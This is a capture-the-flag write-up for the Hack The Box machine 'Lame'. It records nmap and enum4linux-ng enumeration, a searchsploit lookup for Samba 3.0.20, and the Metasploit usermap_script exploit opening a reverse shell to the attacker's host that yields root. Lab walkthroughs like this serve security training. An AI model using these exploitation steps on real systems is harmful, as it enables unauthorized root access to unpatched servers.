Run an NMap scan with default scripts and version enumeration.
# Nmap 7.93 scan initiated Thu Dec 15 12:10:11 2022 as: nmap -sCV -oA nmap/lame -Pn 10.129.31.107
Nmap scan report for 10.129.31.107
Host is up (0.067s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.16.18
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 600fcfe1c05f6a74d69024fac4d56ccd (DSA)
|_ 2048 5656240f211ddea72bae61b1243de8f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 2h30m27s, deviation: 3h32m11s, median: 24s
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2022-12-15T14:11:01-05:00
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Dec 15 12:11:12 2022 -- 1 IP address (1 host up) scanned in 61.04 seconds
Nmap mentions ftp with anonymous login. So we check, however, we dont get anything out of it.
❯ ftp anonymous@10.129.30.102
Connected to 10.129.30.102.
220 (vsFTPd 2.3.4)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
226 Directory send OK.
ftp>
Run enum4linux-ng to see what we get. First thing I noticed was SMB 1.0: True. However this is a linux box so no eternalblue for us...
...<SNIP>...
=================================
| SMB Dialect Check on 10.129.30.102 |
==========================================
�[94m[*] Trying on 445/tcp�[0m
�[92m[+] Supported dialects and settings:
Supported dialects:
SMB 1.0: true
SMB 2.02: false
SMB 2.1: false
SMB 3.0: false
SMB 3.1.1: false
Preferred dialect: SMB 1.0
SMB1 only: true
SMB signing required: false�[0m
�[94m[*] Enforcing legacy SMBv1 for further enumeration�[0m
...<SNIP>...
Next I noticed the version Samba 3.0.20
================================================
| OS Information via RPC for 10.129.30.102 |
================================================
�[94m[*] Enumerating via unauthenticated SMB session on 445/tcp�[0m
�[92m[+] Found OS information via SMB�[0m
�[94m[*] Enumerating via 'srvinfo'�[0m
�[92m[+] Found OS information via 'srvinfo'�[0m
�[92m[+] After merging OS information we have the following result:
OS: Linux/Unix (Samba 3.0.20-Debian)
OS version: '4.9'
OS release: not supported
OS build: not supported
Native OS: Unix
Native LAN manager: Samba 3.0.20-Debian
Platform id: '500'
Server type: '0x9a03'
Server type string: Wk Sv PrQ Unx NT SNT lame server (Samba 3.0.20-Debian)�[0m
Quick search searchsploit command and we get result. I want to get some more use out of metasploit so lets try that
❯ searchsploit Samba 3.0.20
------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------- ---------------------------------
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass | multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit) | unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC) | linux_x86/dos/36741.py
------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Works! Root...
msf6 exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 10.10.16.18:4444
[*] Command shell session 1 opened (10.10.16.18:4444 -> 10.129.30.102:43409) at 2022-12-16 17:04:38 -0700
id
uid=0(root) gid=0(root)